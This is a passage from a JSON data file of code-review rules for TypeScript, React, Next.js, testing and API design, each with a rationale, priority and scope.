hardcoded placeholder (e.g. count: 0) for a response field — derive it from the data you already hold, or it silently lies to callers. todayCount is hardcoded to 0. Consumers cannot distinguish 'genuinely zero today' from 'not implemented', and the data needed to compute it (item timestamps) is already in memory. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If a field genuinely cannot be computed yet, make that explicit in the type (optional/null) rather than faking a value.","whyItMatters":"todayCount is hardcoded to 0. Consumers cannot distinguish 'genuinely zero today' from 'not implemented', and the data needed to compute it (item timestamps) is already in memory.","priority":"p1","scope":"universal"},{"title":"Preserve existing fallback semantics when refactoring a data source","rule":"Swapping a type/provider must keep the original `a ?? b` fallbacks unless a behavior change is intended and confirmed.","apiRule":"Swapping a type/provider must keep the original `a ?? b` fallbacks unless a behavior change is intended and confirmed. Collapsing a two-source fallback into a single field during a 'mechanical' refactor changes runtime behavior when the primary value is absent — a silent regression. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: No exception — if you intend to drop a fallback, that is a behavior change and should be stated and reviewed, not slipped in as a refactor. Balance against remove-dead-fallback-and-recovery-logic: keep a fallback when its failure mode still exists after the refactor; preserve behavior you can't prove is dead.","whyItMatters":"Collapsing a two-source fallback into a single field during a 'mechanical' refactor changes runtime behavior when the primary value is absent — a silent regression.","priority":"p1","scope":"universal"},{"title":"Give deserialized cache/JSON data an explicit shape","rule":"Type stored/deserialized data with a defined interface instead of a loose Record with ambiguous either-or fields.","apiRule":"Type stored/deserialized data with a defined interface instead of a loose Record with ambiguous either-or fields. A loose `Record` plus an either-or fallback signals that the write side and read side don't agree on a shape, so reads are guesswork and easy to break. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Validate at the boundary with a schema (e.g. zod) when the data truly comes from an untrusted or evolving external source rather than your own writer.","whyItMatters":"A loose `Record` plus an either-or fallback signals that the write side and read side don't agree on a shape, so reads are guesswork and easy to break.","priority":"p1","scope":"universal"},{"title":"Sort/normalize a collection before deriving a cache key from it","rule":"Order-insensitive inputs must be sorted before building a cache key, or equivalent requests miss the cache.","apiRule":"Order-insensitive inputs must be sorted before building a cache key, or equivalent requests miss the cache. If callers pass the same ids in different orders, each ordering creates a distinct key, causing avoidable cache misses and duplicated cache entries. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Skip normalization only when order is semantically significant to the cached result.","whyItMatters":"If callers pass the same ids in different orders, each ordering creates a distinct key, causing avoidable cache misses and duplicated cache entries.","priority":"p1","scope":"universal"},{"title":"Delete commented-out code instead of committing it","rule":"Don't merge dead/commented code; remove it and rely on version control for history.","apiRule":"Don't merge dead/commented code; remove it and rely on version control for history. Commented-out lines add noise and leave readers guessing whether the code is intentionally disabled or forgotten. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A brief commented example paired with an explanatory note (e.g. documenting why an option is intentionally omitted) can be acceptable, but bare commented code is not.","whyItMatters":"Commented-out lines add noise and leave readers guessing whether the code is intentionally disabled or forgotten.","priority":"p2","scope":"universal"},{"title":"Use debug level for routine per-operation traces","rule":"Don't log every cache/DB read at info; use debug so production logs aren't flooded.","apiRule":"Don't log every cache/DB read at info; use debug so production logs aren't flooded. An `info` log on every read produces enormous volume in production for a routine, expected operation. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep info/warn/error for state changes, failures, and rare events that operators need to see in production.","whyItMatters":"An `info` log on every read produces enormous volume in production for a routine, expected operation.","priority":"p2","scope":"universal"},{"title":"Don't use a type assertion where you need a real runtime conversion","rule":"`as number` only fools the compiler; parse/coerce values from untyped sources with Number()/parseInt().","apiRule":"`as number` only fools the compiler; parse/coerce values from untyped sources with Number()/parseInt(). A `as number` assertion is erased at compile time. If the JSON actually held a string, `id` is still a string at runtime and arithmetic produces garbage. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When you already know the value's runtime type with certainty (e.g. it came from a typed in-memory object), an assertion is fine and conversion is redundant.","whyItMatters":"A `as number` assertion is erased at compile time. If the JSON actually held a string, `id` is still a string at runtime and arithmetic produces garbage.","priority":"p0","scope":"universal"},{"title":"Keep scratch/investigation artifacts out of feature PRs","rule":"Don't commit ad-hoc audit/investigation/scratch docs into a feature PR; keep the change scoped and remove accidentally-committed files.","apiRule":"Don't commit ad-hoc audit/investigation/scratch docs into a feature PR; keep the change scoped and remove accidentally-committed files. Bundling unrelated investigation/audit notes into a feature PR pollutes the diff, confuses reviewers, and leaves stray files in the repo. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Intentional, reviewed documentation that is genuinely part of the change is fine to include.","whyItMatters":"Bundling unrelated investigation/audit notes into a feature PR pollutes the diff, confuses reviewers, and leaves stray files in the repo.","priority":"p2","scope":"universal"},{"title":"Name component props in camelCase, not PascalCase","rule":"Use camelCase for prop names (`anchorProps`); reserve PascalCase for components and types.","apiRule":"Use camelCase for prop names (`anchorProps`); reserve PascalCase for components and types. PascalCase prop names read like component or type references and are inconsistent with the JSX convention that lowercase identifiers are props/attributes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Native DOM/component props that are themselves PascalCase by an external API are kept as-is, but your own props should be camelCase.","whyItMatters":"PascalCase prop names read like component or type references and are inconsistent with the JSX convention that lowercase identifiers are props/attributes.","priority":"p2","scope":"universal"},{"title":"Use the linter's exact rule id in disable directives","rule":"Disable comments must reference the rule id in the format the active linter recognizes; a mistyped id silently fails to suppress anything.","apiRule":"Disable comments must reference the rule id in the format the active linter recognizes; a mistyped id silently fails to suppress anything. `typescript-eslint(no-deprecated)` is not a valid rule-id syntax, so the linter ignores it and the deprecation warning is never suppressed. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"`typescript-eslint(no-deprecated)` is not a valid rule-id syntax, so the linter ignores it and the deprecation warning is never suppressed.","priority":"p2","scope":"universal"},{"title":"Use `event.preventDefault()` for beforeunload; avoid deprecated `returnValue`","rule":"Trigger the unsaved-changes prompt with `event.preventDefault()`; the deprecated `event.returnValue` and its custom string are ignored by modern browsers.","apiRule":"Trigger the unsaved-changes prompt with `event.preventDefault()`; the deprecated `event.returnValue` and its custom string are ignored by modern browsers. Setting `event.returnValue` is deprecated per spec and the custom message is ignored — browsers always show their own generic prompt, so the assignment is dead weight. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If you must support an older browser that still requires `event.returnValue = ''`, keep it but document why; the empty string is enough since the text is never displayed.","whyItMatters":"Setting `event.returnValue` is deprecated per spec and the custom message is ignored — browsers always show their own generic prompt, so the assignment is dead weight.","priority":"p2","scope":"universal"},{"title":"Detect the browser environment with `typeof window !== 'undefined'`","rule":"Use the standard `typeof window !== 'undefined'` guard instead of the legacy/removed `process.browser` flag.","apiRule":"Use the standard `typeof window !== 'undefined'` guard instead of the legacy/removed `process.browser` flag. `process.browser` is a deprecated/removed Next.js-specific flag that is not part of any standard and can be undefined in modern setups. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"`process.browser` is a deprecated/removed Next.js-specific flag that is not part of any standard and can be undefined in modern setups.","priority":"p2","scope":"stack-specific"},{"title":"Prefer dropping a deprecated prop over adding bridging code to support it","rule":"If the only reason for awkward destructure/remap/cast logic is to keep supporting a deprecated prop, remove the prop and let callers use the modern API.","apiRule":"If the only reason for awkward destructure/remap/cast logic is to keep supporting a deprecated prop, remove the prop and let callers use the modern API. Keeping a deprecated prop alive forces a cast plus a lint-suppression and extra destructuring — complexity that exists only to support an API you are trying to retire. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the deprecated prop is part of a widely-consumed public API you cannot break yet, keep the bridge but localize and document it.","whyItMatters":"Keeping a deprecated prop alive forces a cast plus a lint-suppression and extra destructuring — complexity that exists only to support an API you are trying to retire.","priority":"p2","scope":"universal"},{"title":"Migrate deprecated MUI flat slot props to the unified `slotProps` API","rule":"Replace deprecated MUI props like `inputProps`/`PaperProps`/`PopperProps`/`MenuListProps`/`FormHelperTextProps` with the corresponding `slotProps` entries.","apiRule":"Replace deprecated MUI props like `inputProps`/`PaperProps`/`PopperProps`/`MenuListProps`/`FormHelperTextProps` with the corresponding `slotProps` entries. These flat per-slot props are deprecated in recent MUI versions and emit warnings; they are inconsistent across components. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: When wrapping a MUI component and forwarding a consumer-provided deprecated prop, also destructure and remap it (e.g. `PaperProps`) into `slotProps.paper` rather than leaving the deprecated prop on the API.","whyItMatters":"These flat per-slot props are deprecated in recent MUI versions and emit warnings; they are inconsistent across components.","priority":"p2","scope":"stack-specific"},{"title":"Narrow forwarded prop bags with `Omit` to protect wrapper-controlled props","rule":"When forwarding a child component's props, `Omit` the props the wrapper manages so callers can't override and break them.","apiRule":"When forwarding a child component's props, `Omit` the props the wrapper manages so callers can't override and break them. Forwarding the full prop bag lets callers override props the wrapper is supposed to control, silently breaking the component's invariants. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Forwarding the full prop bag lets callers override props the wrapper is supposed to control, silently breaking the component's invariants.","priority":"p1","scope":"universal"},{"title":"Expose a single canonical source for a component's content","rule":"Avoid fallbacks like `children ?? props.children` that let the same content be passed two ways; keep one clear, type-safe path.","apiRule":"Avoid fallbacks like `children ?? props.children` that let the same content be passed two ways; keep one clear, type-safe path. Allowing content to come from either `children` or `contentProps.children` creates two competing ways to do the same thing, making the API confusing and bug-prone. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Allowing content to come from either `children` or `contentProps.children` creates two competing ways to do the same thing, making the API confusing and bug-prone.","priority":"p2","scope":"universal"},{"title":"Compose UI-library Link with router Link via the polymorphic `component` prop","rule":"Render a UI-library Link through the router's Link using `component={RouterLink}` instead of nesting them with legacy passthrough flags.","apiRule":"Render a UI-library Link through the router's Link using `component={RouterLink}` instead of nesting them with legacy passthrough flags. Nesting the UI Link inside the router Link relies on deprecated legacyBehavior/passHref and produces two stacked anchor-like elements, which is fragile and harder to type. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: If the UI library's component does not support a polymorphic `component`/`as` prop, you may have to nest, but prefer the polymorphic approach whenever it is available.","whyItMatters":"Nesting the UI Link inside the router Link relies on deprecated legacyBehavior/passHref and produces two stacked anchor-like elements, which is fragile and harder to type.","priority":"p1","scope":"stack-specific"},{"title":"Use vi.mocked / jest.mocked instead of `as Mock` casts","rule":"Wrap mocked functions with the framework's typed mock helper rather than casting to Mock, preserving signatures and avoiding lint-suppression comments.","apiRule":"Wrap mocked functions with the framework's typed mock helper rather than casting to Mock, preserving signatures and avoiding lint-suppression comments. Casting to Mock is an unsafe assertion that throws away the original signature, requires a lint-suppression comment, and lets you call mock methods with arguments the real function would reject. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. The Jest equivalent is jest.mocked. Both are preferable to manual `as unknown as Mock` chains.","whyItMatters":"Casting to Mock is an unsafe assertion that throws away the original signature, requires a lint-suppression comment, and lets you call mock methods with arguments the real function would reject.","priority":"p2","scope":"universal"},{"title":"Don't leave real tests inside describe.todo / it.todo","rule":"Suites wrapped in describe.todo (or it.todo) are skipped by the runner; use describe/it so the tests actually execute, and keep .todo only for true placeholders.","apiRule":"Suites wrapped in describe.todo (or it.todo) are skipped by the runner; use describe/it so the tests actually execute, and keep .todo only for true placeholders. describe.todo marks the suite as a pending placeholder, so the runner never executes the assertions inside it. The tests give a false sense of coverage while silently doing nothing. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If a previously-disabled suite is re-enabled, expect failures and fix them (possibly in a separate change) rather than leaving it in .todo. Exceptions: Keep .todo only for suites/cases that are deliberately not yet implemented as a written reminder, with no real assertions inside.","whyItMatters":"describe.todo marks the suite as a pending placeholder, so the runner never executes the assertions inside it. The tests give a false sense of coverage while silently doing nothing.","priority":"p1","scope":"universal"},{"title":"Annotate shared test fixtures with their source type","rule":"Give mock/fixture objects an explicit type derived from the source (e.g. ReturnType<typeof useHook>) and apply it consistently across all test files.","apiRule":"Give mock/fixture objects an explicit type derived from the source (e.g. ReturnType<typeof useHook>) and apply it consistently across all test files. An untyped fixture silently accepts a wrong shape and inconsistent typing across files means some tests get compile-time protection while others do not. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"An untyped fixture silently accepts a wrong shape and inconsistent typing across files means some tests get compile-time protection while others do not.","priority":"p2","scope":"universal"},{"title":"Extract repeated test fixtures into a shared constants module","rule":"When the same default mock/fixture object is duplicated across multiple test files, move it to a shared test-constants module instead of redeclaring it.","apiRule":"When the same default mock/fixture object is duplicated across multiple test files, move it to a shared test-constants module instead of redeclaring it. The same fixture object is copy-pasted into several test files. When the underlying shape changes, every copy must be updated by hand, and copies drift out of sync. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Shared fixtures pair well with a typed shape (see the rule on typing shared test fixtures) so all consumers benefit from the same type. Exceptions: If a fixture is genuinely used in only one test file, keep it local; only extract once it is duplicated or clearly will be.","whyItMatters":"The same fixture object is copy-pasted into several test files. When the underlying shape changes, every copy must be updated by hand, and copies drift out of sync.","priority":"p2","scope":"universal"},{"title":"Inline single-use test mocks instead of an extra variable","rule":"Define a one-off mock inline in the return value rather than declaring a redundant intermediate variable.","apiRule":"Define a one-off mock inline in the return value rather than declaring a redundant intermediate variable. Hoisting a one-off mock into its own variable adds an extra line and an indirection the reader has to track, without giving the test anything reusable. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Keep a named variable only when you assert against the mock later (e.g. expect(push).toHaveBeenCalled()). If you need the reference, inlining is wrong. Exceptions: When the same mock is referenced in assertions or reused across multiple cases, a named variable is the right choice.","whyItMatters":"Hoisting a one-off mock into its own variable adds an extra line and an indirection the reader has to track, without giving the test anything reusable.","priority":"p2","scope":"universal"},{"title":"Guard request query params before coercing to Number","rule":"Don't pass request query values straight into Number(); undefined becomes NaN and slips past the type check.","apiRule":"Don't pass request query values straight into Number(); undefined becomes NaN and slips past the type check. Number(undefined) evaluates to NaN, and TypeScript still types the result as number, so the bad value silently slips through and corrupts pagination or any downstream math. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Prefer a small parse helper (parsePositiveInteger / validatePaginationQuery) that returns undefined or throws on invalid input, rather than scattering ternaries. Validate at the boundary so the rest of the code can trust the values.","whyItMatters":"Number(undefined) evaluates to NaN, and TypeScript still types the result as number, so the bad value silently slips through and corrupts pagination or any downstream math.","priority":"p1","scope":"universal"},{"title":"Keep guard-clause formatting consistent within a file","rule":"Match the early-return style already used nearby; do not mix one-liner guards with multi-line block guards for equivalent checks.","apiRule":"Match the early-return style already used nearby; do not mix one-liner guards with multi-line block guards for equivalent checks. Two equivalent guard clauses are formatted differently in the same function, which adds visual noise and makes the code look inconsistent. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Original code here also missed a return on the 404 branch, so execution fell through; one-lining with an explicit return fixes that too. Exceptions: Use a multi-line block when the guard body has multiple statements or the line would become too long to read comfortably.","whyItMatters":"Two equivalent guard clauses are formatted differently in the same function, which adds visual noise and makes the code look inconsistent.","priority":"p2","scope":"universal"},{"title":"Keep API error response shapes consistent","rule":"Use one consistent JSON shape for the same class of error across all handlers so clients can parse responses uniformly.","apiRule":"Use one consistent JSON shape for the same class of error across all handlers so clients can parse responses uniformly. Two handlers return different bodies for the same method-not-allowed error. Clients must special-case each endpoint to read the error. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. A shared error-response helper makes consistency automatic.","whyItMatters":"Two handlers return different bodies for the same method-not-allowed error. Clients must special-case each endpoint to read the error.","priority":"p2","scope":"universal"},{"title":"Extract repeated API guard logic into middleware","rule":"Move duplicated method checks, auth/session guards, and error formatting out of individual handlers into shared middleware or a wrapper.","apiRule":"Move duplicated method checks, auth/session guards, and error formatting out of individual handlers into shared middleware or a wrapper. The same method and auth guards are copy-pasted into every handler. Any change (status code, message shape, cookie name) must be made in many places and drifts out of sync. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A one-off handler with genuinely unique guard logic does not need to be forced into the shared abstraction.","whyItMatters":"The same method and auth guards are copy-pasted into every handler. Any change (status code, message shape, cookie name) must be made in many places and drifts out of sync.","priority":"p1","scope":"universal"},{"title":"Reserve HTTP 201 for actual resource creation","rule":"Return 201 Created only when a new resource is created; use 200 OK for updates or appends to an existing resource.","apiRule":"Return 201 Created only when a new resource is created; use 200 OK for updates or appends to an existing resource. 201 signals that a new resource was created at a new URL. Appending to an existing collection is an update, so 201 misleads clients and caches. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use 201 when the endpoint genuinely creates a brand-new resource, ideally with a Location header pointing to it.","whyItMatters":"201 signals that a new resource was created at a new URL. Appending to an existing collection is an update, so 201 misleads clients and caches.","priority":"p2","scope":"universal"},{"title":"Do not return a success status when the response body may be null","rule":"Validate the result of an upstream call before sending a 2xx; a null/empty body with a 200/201 hides failures from the client.","apiRule":"Validate the result of an upstream call before sending a 2xx; a null/empty body with a 200/201 hides failures from the client. The handler always responds with a success status, even if the upstream service returned null. The client receives 201 with an empty body and cannot tell the operation actually failed. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Endpoints that legitimately return no content can use 204 No Content with an empty body.","whyItMatters":"The handler always responds with a success status, even if the upstream service returned null. The client receives 201 with an empty body and cannot tell the operation actually failed.","priority":"p1","scope":"universal"},{"title":"Validate generated structured data against varied inputs before shipping","rule":"When emitting JSON-LD or other machine-readable structured data, run it through the official validator across multiple real entity types, not a single happy-path case.","apiRule":"When emitting JSON-LD or other machine-readable structured data, run it through the official validator across multiple real entity types, not a single happy-path case. Verifying generated structured data by glancing at a single example misses missing/invalid fields that only appear for other entity shapes (e.g. items without a price, different types). Search engines and other consumers silently reject or downrank malformed markup, so errors stay invisible until SEO suffers. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Applies to any generated machine-readable contract: JSON-LD, RSS/Atom feeds, sitemaps, OpenGraph/Twitter card metadata.","whyItMatters":"Verifying generated structured data by glancing at a single example misses missing/invalid fields that only appear for other entity shapes (e.g. items without a price, different types). Search engines and other consumers silently reject or downrank malformed markup, so errors stay invisible until SEO suffers.","priority":"p2","scope":"universal"},{"title":"Initialize nullable variables explicitly instead of leaving them undefined","rule":"A `let` typed as `T | null` but left unassigned is actually `undefined` at runtime; initialize it explicitly so the value matches the declared type.","apiRule":"A `let` typed as `T | null` but left unassigned is actually `undefined` at runtime; initialize it explicitly so the value matches the declared type. Declaring `let response: DataResponse | null;` without an initializer leaves it `undefined` whenever a branch doesn't assign it. The type annotation says `null` is the empty case, but the real runtime value is `undefined`, so null-checks and downstream logic can misbehave. Strict tooling also flags 'Variable is used before being assigned.' Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If every code path provably assigns the variable before first use, an initializer is unnecessary — but explicit initialization is rarely wrong and is safer to default to.","whyItMatters":"Declaring `let response: DataResponse | null;` without an initializer leaves it `undefined` whenever a branch doesn't assign it. The type annotation says `null` is the empty case, but the real runtime value is `undefined`, so null-checks and downstream logic can misbehave. Strict tooling also flags 'Variable is used before being assigned.'","priority":"p1","scope":"universal"},{"title":"Prefer small explicit repetition over premature abstraction","rule":"When duplication is tiny and low-risk, keep it explicit and clear instead of adding an abstraction whose indirection hurts readability.","apiRule":"When duplication is tiny and low-risk, keep it explicit and clear instead of adding an abstraction whose indirection hurts readability. The helper and map add indirection for only two near-trivial entries. A reader now has to jump to withNoindex to understand what each route gets; the abstraction costs more clarity than the repetition it removes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Abstract when the repetition is large, must stay in sync across many places to avoid bugs, or is clearly going to grow; then the helper earns its indirection. Balance against extract-duplicated-logic-shared-across-services: keep duplication only when it is tiny and low-risk; once the logic is substantial or genuinely shared, extract it. Balance against extract-duplicated-route-validators: keep a one-line parse inline when it appears in only a couple of routes and carries no shared contract. Balance against inject-data-provider-over-nested-fetch-branching: a small one-time if/else is fine; introduce the provider abstraction only when branching recurs or paths are complex. Balance against extract-duplicated-ui-primitives: leave a tiny markup snippet duplicated when it appears once or twice and isn't a meaningful shared primitive. Balance against extract-shared-frontend-utilities: keep a trivial one-liner duplicated rather than spawning a shared util for near-zero logic. Balance against prefer-config-maps-for-tabular-ui-variants: keep two or three explicit variants inline rather than building a config-map indirection. Balance against replace-repetitive-switch-rendering-with-configuration-maps: keep a small switch when there are few cases or they diverge meaningfully in structure. Balance against extract-complex-mapping-logic: keep a short, single-use map callback inline rather than naming a helper for trivial logic.","whyItMatters":"The helper and map add indirection for only two near-trivial entries. A reader now has to jump to withNoindex to understand what each route gets; the abstraction costs more clarity than the repetition it removes.","priority":"p2","scope":"universal"},{"title":"Use noindex (not canonical) to keep non-duplicate pages out of search","rule":"When the goal is to exclude a page from search rather than consolidate duplicates, use a noindex directive; canonical is only a hint and unreliable for non-equivalent pages.","apiRule":"When the goal is to exclude a page from search rather than consolidate duplicates, use a noindex directive; canonical is only a hint and unreliable for non-equivalent pages. canonical is a hint and is meant for consolidating true duplicates. For a view that is not equivalent to the canonical target, search engines may ignore it and index the variant anyway, exposing a broken landing page. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When two pages really are equivalent duplicates and you want to consolidate ranking signals onto one URL, canonical is the correct tool; reach for noindex only when the intent is full exclusion.","whyItMatters":"canonical is a hint and is meant for consolidating true duplicates. For a view that is not equivalent to the canonical target, search engines may ignore it and index the variant anyway, exposing a broken landing page.","priority":"p2","scope":"universal"},{"title":"Keep page-specific headers and metadata out of global build config","rule":"Attach route-specific headers/metadata at the route level (layout/page), not in the global framework config, so config stays app-level and minimal.","apiRule":"Attach route-specific headers/metadata at the route level (layout/page), not in the global framework config, so config stays app-level and minimal. Routing/page-level header directives are buried in the global build config, which should stay focused on app-wide concerns. The directive lives far from the route it affects. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. In Next.js App Router, route-subtree metadata (including robots directives) belongs in the segment's layout.tsx or page.tsx via the metadata export. Exceptions: If a header must apply across many unrelated routes or cannot be expressed at the page/layout level (e.g. truly cross-cutting security headers), the global config is the right place.","whyItMatters":"Routing/page-level header directives are buried in the global build config, which should stay focused on app-wide concerns. The directive lives far from the route it affects.","priority":"p1","scope":"stack-specific"},{"title":"Normalize external empty/missing values once at the boundary","rule":"Convert an external source's inconsistent empty/missing representations into one stable type at the boundary, not in every caller.","apiRule":"Convert an external source's inconsistent empty/missing representations into one stable type at the boundary, not in every caller. The same set of empty/missing checks is duplicated at every call site. It's easy to forget a variant (like the literal string 'null'), and the rules drift over time. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The same set of empty/missing checks is duplicated at every call site. It's easy to forget a variant (like the literal string 'null'), and the rules drift over time.","priority":"p1","scope":"universal"},{"title":"Cover every production host when routing by environment","rule":"An incomplete host allowlist silently sends production traffic to the dev/fallback backend.","apiRule":"An incomplete host allowlist silently sends production traffic to the dev/fallback backend. A live production subdomain like shop.example.com is missing from the set, so its traffic is forced onto the dev backend, causing broken or unstable behavior in production. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When the mapping is host-based, cross-check against hosts that other parts of the code already treat as production so you do not miss one.","whyItMatters":"A live production subdomain like shop.example.com is missing from the set, so its traffic is forced onto the dev backend, causing broken or unstable behavior in production.","priority":"p1","scope":"universal"},{"title":"Apply passive:true to scroll/touch listeners deliberately, not by reflex","rule":"passive:true matters on scroll-blocking events (touchstart/touchmove/wheel) so the browser needn't wait for JS; on plain scroll listeners it's mostly intent, so use it knowingly.","apiRule":"passive:true matters on scroll-blocking events (touchstart/touchmove/wheel) so the browser needn't wait for JS; on plain scroll listeners it's mostly intent, so use it knowingly. On scroll-blocking events the browser must wait to see if the handler calls preventDefault, delaying scroll; omitting passive here forfeits a real responsiveness win. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If a handler genuinely needs to call preventDefault (e.g. to block native scrolling), it must not be passive.","whyItMatters":"On scroll-blocking events the browser must wait to see if the handler calls preventDefault, delaying scroll; omitting passive here forfeits a real responsiveness win.","priority":"p2","scope":"universal"},{"title":"Don't commit throwaway verification tests","rule":"Delete one-off tests added only to confirm behavior locally; keep only tests that provide lasting regression value.","apiRule":"Delete one-off tests added only to confirm behavior locally; keep only tests that provide lasting regression value. This test exists only to prove another test isn't polluting global state; once confirmed it adds maintenance cost without protecting real behavior. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the concern is a real regression risk (global state leaking between tests), encode it as a proper, named regression test rather than deleting it.","whyItMatters":"This test exists only to prove another test isn't polluting global state; once confirmed it adds maintenance cost without protecting real behavior.","priority":"p2","scope":"universal"},{"title":"Explain edge-case handling with a why comment","rule":"When code exists only to cover a non-obvious edge case, add a brief comment describing the concrete scenario so it isn't mistaken for dead code.","apiRule":"When code exists only to cover a non-obvious edge case, add a brief comment describing the concrete scenario so it isn't mistaken for dead code. It's unclear why resize matters here; a future reader may delete it as redundant with scroll, breaking the edge case it silently guards. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Balance against no-comments-restating-self-documenting-code: add a comment when the reason for an edge-case branch is non-obvious from the code alone.","whyItMatters":"It's unclear why resize matters here; a future reader may delete it as redundant with scroll, breaking the edge case it silently guards.","priority":"p2","scope":"universal"},{"title":"Don't register event listeners that can't fire or duplicate existing work","rule":"Drop listeners for lifecycle events that have already passed (load/DOMContentLoaded inside an effect) or that just repeat an initial check; keep only listeners for real future changes.","apiRule":"Drop listeners for lifecycle events that have already passed (load/DOMContentLoaded inside an effect) or that just repeat an initial check; keep only listeners for real future changes. By the time the effect runs, the page has loaded, so the `load` listener can never fire and only adds noise and a cleanup obligation for nothing. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Events like `pageshow` (bfcache restore) or `visibilitychange` can legitimately fire after mount and may be worth keeping when there is a concrete scenario; justify them rather than adding speculatively.","whyItMatters":"By the time the effect runs, the page has loaded, so the `load` listener can never fire and only adds noise and a cleanup obligation for nothing.","priority":"p2","scope":"universal"},{"title":"Test real behavior, don't fake the primitive you're verifying","rule":"Establish the real precondition (scroll, layout, state) and let the code react, instead of mocking the exact API the code depends on to force an outcome.","apiRule":"Establish the real precondition (scroll, layout, state) and let the code react, instead of mocking the exact API the code depends on to force an outcome. The test passes only because it mocks getBoundingClientRect, the exact API the feature reads. It verifies the mock, not the feature, and shatters if the implementation reads layout differently. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Mocking is appropriate for external/non-deterministic dependencies (network, time, randomness) or APIs the environment cannot reproduce, not for the primitive whose effect you are asserting.","whyItMatters":"The test passes only because it mocks getBoundingClientRect, the exact API the feature reads. It verifies the mock, not the feature, and shatters if the implementation reads layout differently.","priority":"p1","scope":"universal"},{"title":"Don't manually restore mocks when the test runner auto-restores them","rule":"If the test config enables automatic mock restoration, drop manual mockRestore() calls and the try/finally that exists only to run them.","apiRule":"If the test config enables automatic mock restoration, drop manual mockRestore() calls and the try/finally that exists only to run them. The try/finally exists only to restore the spy, but the runner already restores mocks automatically between tests, so this is dead ceremony that obscures the actual assertion. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If you need to restore a spy mid-test (before the test ends) so later code sees the real implementation, an explicit restore is still warranted.","whyItMatters":"The try/finally exists only to restore the spy, but the runner already restores mocks automatically between tests, so this is dead ceremony that obscures the actual assertion.","priority":"p2","scope":"universal"},{"title":"Document new required tooling and fail the build loudly if it's missing","rule":"New build-time tools/deps must be documented to install, and the build should error descriptively rather than fail silently when absent.","apiRule":"New build-time tools/deps must be documented to install, and the build should error descriptively rather than fail silently when absent. Introducing an undocumented required tool means contributors hit an opaque failure with no guidance on what to install or why the build broke. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Introducing an undocumented required tool means contributors hit an opaque failure with no guidance on what to install or why the build broke.","priority":"p2","scope":"universal"},{"title":"Ship unit tests with new non-trivial logic","rule":"New custom plugins, pipelines, or parsers should come with at least one or two unit tests covering the new behavior.","apiRule":"New custom plugins, pipelines, or parsers should come with at least one or two unit tests covering the new behavior. Merging new behavior without any test leaves the path unguarded: regressions slip in 